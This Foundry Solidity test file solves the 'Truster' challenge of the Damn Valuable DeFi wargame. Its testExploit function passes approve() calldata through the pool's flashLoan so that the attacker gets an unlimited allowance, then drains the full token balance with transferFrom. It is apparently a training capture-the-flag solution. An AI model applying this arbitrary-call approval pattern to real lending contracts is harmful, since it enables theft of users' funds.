// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import {Utilities} from "../../utils/Utilities.sol";
import "forge-std/Test.sol";

import {DamnValuableToken} from "../../../src/Contracts/DamnValuableToken.sol";
import {TrusterLenderPool} from "../../../src/Contracts/truster/TrusterLenderPool.sol";
import {TrusterLenderPoolExploiter} from "../../../src/Contracts/truster/TrusterLenderPoolExploiter.sol";

contract Truster is Test {
    uint256 internal constant TOKENS_IN_POOL = 1_000_000e18;

    Utilities internal utils;
    TrusterLenderPool internal trusterLenderPool;
    TrusterLenderPoolExploiter internal trusterLenderPoolExploiter;
    DamnValuableToken internal dvt;
    address payable internal attacker;

    function setUp() public {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        utils = new Utilities();
        address payable[] memory users = utils.createUsers(1);
        attacker = users[0];
        vm.label(attacker, "Attacker");

        dvt = new DamnValuableToken();
        vm.label(address(dvt), "DVT");

        trusterLenderPool = new TrusterLenderPool(address(dvt));
        vm.label(address(trusterLenderPool), "Truster Lender Pool");

        dvt.transfer(address(trusterLenderPool), TOKENS_IN_POOL);

        assertEq(dvt.balanceOf(address(trusterLenderPool)), TOKENS_IN_POOL);

        console.log(unicode"ðŸ§¨ PREPARED TO BREAK THINGS ðŸ§¨");
    }

    function testExploit() public {
        /** EXPLOIT START **/
        
        bytes memory data = abi.encodeWithSignature(
            "approve(address,uint256)",
            address(attacker),
            type(uint256).max
        );        
        trusterLenderPool.flashLoan(
            TOKENS_IN_POOL,
            address(trusterLenderPool),
            address(dvt),
            data
        );
        vm.startPrank(attacker);
        dvt.transferFrom(
            address(trusterLenderPool),
            address(attacker),
            TOKENS_IN_POOL
        );
        vm.stopPrank();
        /** EXPLOIT END **/
        validation();
    }

    function validation() internal {
        // Attacker has taken all tokens from the pool
        assertEq(dvt.balanceOf(address(trusterLenderPool)), 0);
        assertEq(dvt.balanceOf(address(attacker)), TOKENS_IN_POOL);
    }
}
